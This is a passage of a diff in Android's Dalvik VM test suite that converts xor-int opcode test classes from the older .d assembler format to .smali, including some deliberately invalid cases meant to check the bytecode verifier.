+       move v1, v2 
+       const-wide/16 v2, 12345
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d
deleted file mode 100644
index b733277..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_3.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v0
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali
new file mode 100644
index 0000000..9bdc351
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_3.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v0
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d
deleted file mode 100644
index 879afe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_5.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali
new file mode 100644
index 0000000..80b44c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_5.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d
deleted file mode 100644
index 0768d87..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_6.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v3
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali
new file mode 100644
index 0000000..1b20765
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_6.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v3
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d
deleted file mode 100644
index 561db60..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_1.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali
new file mode 100644
index 0000000..533be9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d
deleted file mode 100644
index 7d19a9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_2.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/2addr v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali
new file mode 100644
index 0000000..9576ac7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/2addr v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d
deleted file mode 100644
index f51a717..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_3.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v0
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali
new file mode 100644
index 0000000..1cab126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v0
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d
deleted file mode 100644
index cc64eb3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_4.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       xor-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali
new file mode 100644
index 0000000..8a5bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d
deleted file mode 100644
index 5430394..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_5.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali
new file mode 100644
index 0000000..2738525
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d
deleted file mode 100644
index ba07a33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_1.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 15
-       xor-int/lit16 v1, v1, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali
new file mode 100644
index 0000000..37fad03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit16 v1, v1, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d
deleted file mode 100644
index 6b5a110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_2.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v2, -8
-       xor-int/lit16 v1, v2, -15
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali
new file mode 100644
index 0000000..10c4e84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit16 v1, v2, -15
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d
deleted file mode 100644
index 56f0458..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_3.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       xor-int/lit16 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali
new file mode 100644
index 0000000..aeee0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit16 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d
deleted file mode 100644
index ec92408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit16_4.java
-.class public dot.junit.opcodes.xor_int_lit16.d.T_xor_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       xor-int/lit16 v1, v1, -32768
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali
new file mode 100644
index 0000000..0786817
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
